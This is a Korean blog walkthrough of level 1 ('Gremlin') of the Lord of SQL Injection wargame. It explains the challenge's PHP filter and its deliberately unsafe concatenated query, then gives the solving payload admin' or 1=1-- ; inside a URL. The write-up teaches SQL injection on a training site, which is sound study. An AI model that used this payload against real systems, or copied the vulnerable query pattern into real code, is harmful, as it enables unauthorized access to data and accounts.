WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 1 - Gremlin

으ㅡㅡ 우리를 반겨주는 첫 번째 몬스터는 작은 그렘린이다. 우선 이 친구의 코드부터 알아보자

<출처 : 나무위키 https://namu.wiki/w/%EA%B7%B8%EB%A0%98%EB%A6%B0(%EC%98%81%ED%99%94) >

 


코드

PHP 코드를 열면 다음과 같은 코드가 우리를 반긴다. 첫 시작이니 하나하나 코드를 분석해 보자

<?php						// 그렇다 이 웹문서는 php로 제작되었다.
  include "./config.php";	
  login_chk();				// ./config.php에 정의된 함수이다.
  $db = dbconnect();		// ./config.php에 정의된 함수이다.

으흠 아직까진 특이점이 없어보인다. 계속 코드를 분석해보자 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

오호 이제 중요한 특징이 나온다. 이곳이 안정성을 담당하는 필터링 코드이다. 우리는 이곳을 우회해야한다.

 

php의 preg_match이라는 함수는 첫 번째 파라미터로 전달된 문자열들이(파이프| 로 구분한다.) 두 번째 파라미터로 전달된 값에 포함되면 매치 성공을 의미하는 1을 반환하는 함수이다.

 

즉 우리는 get방식으로 전달되는 id와 pw값에 prob, _,., \, 등을 적을 수 없으며.(뒤의 /i는 대소문자의 구별을 하지 않겠다는 의미이다. 이번 코드에는 의미가 없다.) preg_match의 조건문이 실행되었을 때 exit함수로 웹페이지를 종료하는 코드이다.

 

필터링을 거친 코드는 다음과 같다.

<?php
  …
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  …
?>

우리가 공략해야 될 SQL문이 보인다. $query에 get으로보낸 id와 pw를 전달한다.

  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

그 후 $result에 id값이 있으면 gremlin은 해결된다. 즉 우리가 해야될 것은 다음과 같다.

 

GET방식의 id와 pw파라미터에 prob, _, \,. 을 사용하지 않고 테이블에 존재하는 id와 pw 중 한 가지 이상을 가져와라!

 

오호.. Brute Force로 찍어야 마땅하겠만, 뭐가 있는지 모르는 id와 pw를 어떻게 가져온다는 말인가?

 

 

해결방법

Answer url : los.rubiya.kr/chall/gremlin_somthing.php?id=admin%27%20or%201=1--%20;

일단 urlencoding을 모르는 사람들을 위해서 >> space(공백)은 %20이 되고, 작은따옴표(')는 %27이 된다. 

 

id 파라미터로 admin%27 or 1=1-- ;을 입력하면 해결된다. 코드에 있던 $query에 입력된 모양은 다음과 같다.

 $query = "select id from prob_gremlin where id='admin' or 1=1-- ;' and pw='{$_GET[pw]}'";

즉 id가 뭔지는 모르지만 admin을 넣어주고(뭘 넣어도 의미 없다.) 작은따옴표를 닫아줌으로써 우리는 query문자열에 파라미터 id를 넣는 것이 아닌 코드에 직접 접근할 수 있게 되었다.

그 후 or 1=1(무조건 참)을 넣어주어 모든 레코드를 가져오도록 지시하였고, query뒤에 있던 "and pw='{$_GET [pw]}'";는 실행되지 않도록 뒤에 ①SQL주석을 의미하는 --②코드의 끝을 의미하는 ;를 넣어 그냥 $query를 닫아 버렸다(!!)


Lord of SQL Injection 던전에서 첫 몬스터를 잡은 영광의 축배를 들자. 다음 포스팅부터는 기본적인 내용은 제외하고 설명할 것이라서 간단하게 설명될 것이다. 축하한다!